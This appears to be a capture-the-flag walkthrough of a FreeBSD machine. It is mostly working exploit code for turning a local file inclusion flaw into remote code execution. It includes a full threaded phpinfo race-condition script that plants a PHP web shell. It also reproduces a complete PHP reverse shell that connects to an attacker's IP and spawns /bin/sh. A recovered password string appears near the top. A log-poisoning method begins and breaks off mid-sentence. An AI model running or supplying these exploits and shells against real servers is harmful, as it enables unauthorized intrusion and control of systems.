Exploitation

for i in $(seq 0 12); do echo -n '| base64 -d';done

Charix!2#4%6&8(0

Gaining Access

Method 2: phpinfo.php Race Condition

The following document outlines a race condition that can turn an LFI vulnerability to remote code execution (RCE). Ther server side components need the following.

• An LFI vulnerability

• Any Script that displays the output of PHPInfo() configuration

We have both of these conditions.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/phpinfolfi.pygithub.com

#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
from __future__ import print_function
from builtins import range
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
    LFIREQ="""GET /lfi.php?load=%s%%00 HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =>")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\nGot it! Shell created in /tmp/g")
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =>")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print("found %s at %i" % (d[i:i+10],i))
    # padded up a bit
    return i+256

def main():

    print("LFI With PHPInfo()")
    print("-=" * 30)

    if len(sys.argv) < 2:
        print("Usage: %s host [port] [threads]" % sys.argv[0])
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("Error with hostname %s: %s" % (sys.argv[1], e))
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with port %d: %s" % (sys.argv[2], e))
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with poolsz %d: %s" % (sys.argv[3], e))
        sys.exit(1)

    print("Getting initial offset...", end=' ')
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print("Spawning worker pool (%d)..." % poolsz)
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print()
        if e.is_set():
            print("Woot!  \m/")
        else:
            print(":(")
    except KeyboardInterrupt:
        print("\nTelling threads to shutdown...")
        e.set()

    print("Shuttin' down...")
    for t in tp:
        t.join()

if __name__=="__main__":
    print("Don't forget to modify the LFI URL")
    main()

Replace the payload to include a php reverse shell

/usr/share/laudanum/php/php-reverse-shell.php

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

Method 3 Log Poisoning

Log Poisoning is a common technique used to gain RCE from an LFI vulnerability. This is how it works:

• the attacker attempts to inject malicious input to the server log

• using the LFI vulnerability, the attacker calls the server log thereby executing the injected malicious code.

On freeBSD, it saves the log file on

/var/log/httpd-access.log

Modifying useragent with the follwoing code will estabilsh a reverse shell